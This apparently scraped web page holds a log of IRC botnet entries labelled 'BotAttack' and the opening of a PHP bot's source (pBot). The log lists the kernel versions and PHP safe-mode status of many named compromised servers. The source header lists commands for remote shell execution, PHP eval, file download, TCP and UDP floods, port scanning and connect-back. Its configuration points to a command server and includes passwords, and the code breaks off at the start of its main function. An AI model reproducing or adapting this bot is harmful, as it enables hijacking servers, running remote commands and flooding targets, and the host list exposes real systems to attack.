 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2924</span> &nbsp;----: Linux aplisoft.com 2.6.18-92.1.22.el5.centos.plus <span style="color: #666666; font-style: italic;">#1 SMP Wed Dec 17 10:50:49 EST 2008 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4390</span> &nbsp;----: Linux moon.hostcolor.us 2.6.17-<span style="color: #000000;">1.2142</span>_FC4 <span style="color: #666666; font-style: italic;">#1 Tue Jul 11 22:41:14 EDT 2006 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6021</span> &nbsp;----: FreeBSD web09.nic.ru <span style="color: #000000;">6.4</span>-RELEASE-p7 FreeBSD <span style="color: #000000;">6.4</span>-RELEASE-p7 <span style="color: #666666; font-style: italic;">#7: Sun Oct 4 02:40:13 MSD 2009 root@hdad.nic.ru:/usr/obj/usr/src/sys/HNIC-SMP-ULE-IBM pl#12 i386 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5528</span> &nbsp;----: Linux hs-646.dedicated.hostalia.com 2.6.22.7-57.fc6 <span style="color: #666666; font-style: italic;">#1 SMP Fri Sep 21 19:26:56 EDT 2007 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6233</span> &nbsp;----: Linux infong <span style="color: #000000;">2.4</span> <span style="color: #666666; font-style: italic;">#1 SMP Tue Dec 18 22:34:10 UTC 2007 i686 GNU/Linux (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>0806 &nbsp;----: <span style="color: #7a0874; font-weight: bold;">&#40;</span>safe: on<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5393</span> &nbsp;----: FreeBSD radiolab2.phys.spbu.ru <span style="color: #000000;">7.2</span>-RELEASE-p4 FreeBSD <span style="color: #000000;">7.2</span>-RELEASE-p4 <span style="color: #666666; font-style: italic;">#0: Fri Oct 2 12:21:39 UTC 2009 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">9615</span> &nbsp;----: Linux vwp0096 2.6.18.8-xenU-static-i686-uk9 <span style="color: #666666; font-style: italic;">#3 SMP Wed Apr 9 10:51:41 CEST 2008 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">9413</span> &nbsp;----: Linux vwp0096 2.6.18.8-xenU-static-i686-uk9 <span style="color: #666666; font-style: italic;">#3 SMP Wed Apr 9 10:51:41 CEST 2008 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2994</span> &nbsp;----: Linux moon.hostcolor.us 2.6.17-<span style="color: #000000;">1.2142</span>_FC4 <span style="color: #666666; font-style: italic;">#1 Tue Jul 11 22:41:14 EDT 2006 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">7025</span> &nbsp;----: Linux server.creapix.eu 2.6.28.1-xxxx-std-ipv4-<span style="color: #000000;">32</span> <span style="color: #666666; font-style: italic;">#2 SMP Fri Jan 30 09:55:02 UTC 2009 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4020</span> &nbsp;----: Linux perseo.pilar.gov.ar 2.6.12-<span style="color: #000000;">1.1381</span>_FC3smp <span style="color: #666666; font-style: italic;">#1 SMP Fri Oct 21 04:03:26 EDT 2005 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4027</span> &nbsp;----: Linux plesk.groupehytech.net 2.6.9-42.ELsmp <span style="color: #666666; font-style: italic;">#1 SMP Wed Jul 12 23:27:17 EDT 2006 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4403</span> &nbsp;----: Linux vs170113.vserver.de 2.6.9-023stab048.5-smp <span style="color: #666666; font-style: italic;">#1 SMP Wed Aug 20 18:58:38 MSD 2008 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2738</span> &nbsp;----: Linux web4 2.6.21.1-<span style="color: #000000;">1</span> <span style="color: #666666; font-style: italic;">#2 SMP Mon May 14 08:16:40 CEST 2007 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2146</span> &nbsp;----: Linux asgard.ows.ch 2.6.12-2.3.legacy_FC3smp <span style="color: #666666; font-style: italic;">#1 SMP Sun Feb 19 08:53:09 EST 2006 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">1383</span> &nbsp;----: Linux station05-new 2.6.26-<span style="color: #000000;">2</span>-amd64 <span style="color: #666666; font-style: italic;">#1 SMP Wed May 13 15:37:46 UTC 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8967</span> &nbsp;----: Linux hosting1.fastq.com 2.6.18-92.1.22.el5.centos.plus <span style="color: #666666; font-style: italic;">#1 SMP Wed Dec 17 10:50:49 EST 2008 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2978</span> &nbsp;----: Linux infong <span style="color: #000000;">2.4</span> <span style="color: #666666; font-style: italic;">#1 SMP Tue Dec 18 22:34:10 UTC 2007 i686 GNU/Linux (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8205</span> &nbsp;----: Linux mutu0094 2.6.26-<span style="color: #000000;">2</span>-vserver-amd64 <span style="color: #666666; font-style: italic;">#1 SMP Wed Aug 19 23:56:39 UTC 2009 x86_64 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">1841</span> &nbsp;----: Linux hm77 2.6.18-164.el5PAE <span style="color: #666666; font-style: italic;">#1 SMP Tue Aug 18 15:59:11 EDT 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>0813 &nbsp;----: FreeBSD svrweb.utb.tg <span style="color: #000000;">5.3</span>-RELEASE FreeBSD <span style="color: #000000;">5.3</span>-RELEASE <span style="color: #666666; font-style: italic;">#0: Fri Nov 5 04:19:18 UTC 2004 root@harlow.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4802</span> &nbsp;----: Linux knm12.knm12.com 2.6.11-<span style="color: #000000;">1.1369</span>_FC4 <span style="color: #666666; font-style: italic;">#1 Thu Jun 2 22:55:56 EDT 2005 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8386</span> &nbsp;----: Linux vwp0096 2.6.18.8-xenU-static-i686-uk9 <span style="color: #666666; font-style: italic;">#3 SMP Wed Apr 9 10:51:41 CEST 2008 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4229</span> &nbsp;----: Linux vwp0096 2.6.18.8-xenU-static-i686-uk9 <span style="color: #666666; font-style: italic;">#3 SMP Wed Apr 9 10:51:41 CEST 2008 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6852</span> &nbsp;----: FreeBSD radiolab2.phys.spbu.ru <span style="color: #000000;">7.2</span>-RELEASE-p4 FreeBSD <span style="color: #000000;">7.2</span>-RELEASE-p4 <span style="color: #666666; font-style: italic;">#0: Fri Oct 2 12:21:39 UTC 2009 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8846</span> &nbsp;----: Linux web2.ordasnet.cz 2.6.18-92.1.6.el5 <span style="color: #666666; font-style: italic;">#1 SMP Wed Jun 25 13:49:24 EDT 2008 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2992</span> &nbsp;----: Linux access2.thairegister.com 2.6.18-128.1.10.el5 <span style="color: #666666; font-style: italic;">#1 SMP Thu May 7 10:39:21 EDT 2009 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5730</span> &nbsp;----: Linux s15309148.onlinehome-server.info 2.6.27.24rootserver-20090525a <span style="color: #666666; font-style: italic;">#1 SMP Mon May 25 04:55:37 EDT 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5371</span> &nbsp;----: Linux tauri 2.6.24.5-smp <span style="color: #666666; font-style: italic;">#2 SMP Wed Apr 30 13:41:38 CDT 2008 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8862</span> &nbsp;----: Linux ws4.surf-town.net 2.6.30.5 <span style="color: #666666; font-style: italic;">#1 SMP Wed Aug 19 11:55:34 CEST 2009 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">9367</span> &nbsp;----: Linux station05-new 2.6.26-<span style="color: #000000;">2</span>-amd64 <span style="color: #666666; font-style: italic;">#1 SMP Wed May 13 15:37:46 UTC 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>0692 &nbsp;----: <span style="color: #7a0874; font-weight: bold;">&#40;</span>safe: off<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6344</span> &nbsp;----: FreeBSD web09.nic.ru <span style="color: #000000;">6.4</span>-RELEASE-p7 FreeBSD <span style="color: #000000;">6.4</span>-RELEASE-p7 <span style="color: #666666; font-style: italic;">#7: Sun Oct 4 02:40:13 MSD 2009 root@hdad.nic.ru:/usr/obj/usr/src/sys/HNIC-SMP-ULE-IBM pl#12 i386 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">3939</span> &nbsp;----: Linux web07.fangio.net 2.6.18-128.1.10.el5 <span style="color: #666666; font-style: italic;">#1 SMP Thu May 7 10:39:21 EDT 2009 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8958</span> &nbsp;----: Linux knm12.knm12.com 2.6.11-<span style="color: #000000;">1.1369</span>_FC4 <span style="color: #666666; font-style: italic;">#1 Thu Jun 2 22:55:56 EDT 2005 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">9797</span> &nbsp;----: Linux maestrat.net 2.6.18-028stab062.3-ent <span style="color: #666666; font-style: italic;">#1 SMP Thu Mar 26 15:12:05 MSK 2009 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">3411</span> &nbsp;----: Linux aplisoft.com 2.6.18-92.1.22.el5.centos.plus <span style="color: #666666; font-style: italic;">#1 SMP Wed Dec 17 10:50:49 EST 2008 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5182</span> &nbsp;----: Linux brsp7 2.6.22.8 <span style="color: #666666; font-style: italic;">#1 SMP Tue Sep 25 16:27:00 BRT 2007 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6274</span> &nbsp;----: Linux s15309148.onlinehome-server.info 2.6.27.24rootserver-20090525a <span style="color: #666666; font-style: italic;">#1 SMP Mon May 25 04:55:37 EDT 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>0975 &nbsp;----: Linux station05-new 2.6.26-<span style="color: #000000;">2</span>-amd64 <span style="color: #666666; font-style: italic;">#1 SMP Wed May 13 15:37:46 UTC 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">7523</span> &nbsp;----: Linux 62.149.171.147 2.6.9-023stab051.2-smp <span style="color: #666666; font-style: italic;">#1 SMP Thu Sep 24 22:32:27 MSD 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5744</span> &nbsp;----: Linux marte 2.4.36.2 <span style="color: #666666; font-style: italic;">#4 Sat Mar 7 10:55:25 BRT 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">7036</span> &nbsp;----: Linux h1246 2.4.29 <span style="color: #666666; font-style: italic;">#3 SMP Tue Feb 15 01:47:49 CET 2005 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2030</span> &nbsp;----: Linux cyber-hebergement.eu 2.6.27.24rootserver-20090525a <span style="color: #666666; font-style: italic;">#1 SMP Mon May 25 04:55:37 EDT 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">1838</span> &nbsp;----: Linux cyber-hebergement.eu 2.6.27.24rootserver-20090525a <span style="color: #666666; font-style: italic;">#1 SMP Mon May 25 04:55:37 EDT 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">1258</span> &nbsp;----: Linux web6 2.6.18-<span style="color: #000000;">6</span>-amd64 <span style="color: #666666; font-style: italic;">#1 SMP Fri Aug 21 14:53:35 UTC 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8098</span> &nbsp;----: Linux hs-646.dedicated.hostalia.com 2.6.22.7-57.fc6 <span style="color: #666666; font-style: italic;">#1 SMP Fri Sep 21 19:26:56 EDT 2007 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>0926 &nbsp;----: SunOS hook 5.10 Generic_138889-03 i86pc <span style="color: #7a0874; font-weight: bold;">&#40;</span>safe: on<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5077</span> &nbsp;----: Linux vs170113.vserver.de 2.6.9-023stab048.5-smp <span style="color: #666666; font-style: italic;">#1 SMP Wed Aug 20 18:58:38 MSD 2008 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">3143</span> &nbsp;----: Linux plesk.groupehytech.net 2.6.9-42.ELsmp <span style="color: #666666; font-style: italic;">#1 SMP Wed Jul 12 23:27:17 EDT 2006 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>3175 &nbsp;----: Windows NT PROXI 5.1 build 2600 <span style="color: #7a0874; font-weight: bold;">&#40;</span>safe: off<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5708</span> &nbsp;----: Linux brsp7 2.6.22.8 <span style="color: #666666; font-style: italic;">#1 SMP Tue Sep 25 16:27:00 BRT 2007 i686 (safe: off)</span></div></div>
<div class="codecolorer-container php mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;height:300px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span> <br />
<br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;*<br />
&nbsp;* &nbsp;#crew@corp. since 2003<br />
&nbsp;* &nbsp;edited by: devil__ and MEIAFASE &lt;admin@xdevil.org&gt; &lt;meiafase@pucorp.org&gt;<br />
&nbsp;* &nbsp;Friend: LP &lt;fuckerboy@sercret.gov&gt;<br />
&nbsp;* &nbsp;COMMANDS:<br />
&nbsp;*<br />
&nbsp;* &nbsp;.user &lt;password&gt; //login to the bot<br />
&nbsp;* &nbsp;.logout //logout of the bot<br />
&nbsp;* &nbsp;.die //kill the bot<br />
&nbsp;* &nbsp;.restart //restart the bot<br />
&nbsp;* &nbsp;.mail &lt;to&gt; &lt;from&gt; &lt;subject&gt; &lt;msg&gt; //send an email<br />
&nbsp;* &nbsp;.dns &lt;IP|HOST&gt; //dns lookup<br />
&nbsp;* &nbsp;.download &lt;URL&gt; &lt;filename&gt; //download a file<br />
&nbsp;* &nbsp;.exec &lt;cmd&gt; // uses exec() //execute a command<br />
&nbsp;* &nbsp;.sexec &lt;cmd&gt; // uses shell_exec() //execute a command<br />
&nbsp;* &nbsp;.cmd &lt;cmd&gt; // uses popen() //execute a command<br />
&nbsp;* &nbsp;.info //get system information<br />
&nbsp;* &nbsp;.php &lt;php code&gt; // uses eval() //execute php code<br />
&nbsp;* &nbsp;.tcpflood &lt;target&gt; &lt;packets&gt; &lt;packetsize&gt; &lt;port&gt; &lt;delay&gt; //tcpflood attack<br />
&nbsp;* &nbsp;.udpflood &lt;target&gt; &lt;packets&gt; &lt;packetsize&gt; &lt;delay&gt; //udpflood attack<br />
&nbsp;* &nbsp;.raw &lt;cmd&gt; //raw IRC command<br />
&nbsp;* &nbsp;.rndnick //change nickname<br />
&nbsp;* &nbsp;.pscan &lt;host&gt; &lt;port&gt; //port scan<br />
&nbsp;* &nbsp;.safe &nbsp;// test safe_mode (dvl)<br />
&nbsp;* &nbsp;.inbox &lt;to&gt; // test inbox (dvl)<br />
&nbsp;* &nbsp;.conback &lt;ip&gt; &lt;port&gt; // conect back (dvl)<br />
&nbsp;* &nbsp;.uname // return shell's uname using a php function (dvl)<br />
&nbsp;*<br />
&nbsp;*/</span><br />
<br />
<a href="http://www.php.net/set_time_limit"><span style="color: #990000;">set_time_limit</span></a><span style="color: #009900;">&#40;</span>0<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span>0<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;ok!&quot;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">class</span> pBot <br />
<span style="color: #009900;">&#123;</span> <br />
&nbsp;<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$config</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;server&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;nicksom2d.no-ip.info&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;6667&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;pass&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;masterkey&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;prefix&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;BotAttack|&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;maxrand&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;4&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;chan&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;#pBots&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;chan2&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;#bpBots&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;key&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;masterkey&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;modes&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;+s&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;password&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;xy&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;trigger&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;hostauth&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;*&quot;</span> <span style="color: #666666; font-style: italic;">// * for any hostname (remember: /setvhost pucorp.org)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$users</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> start<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span> <br />
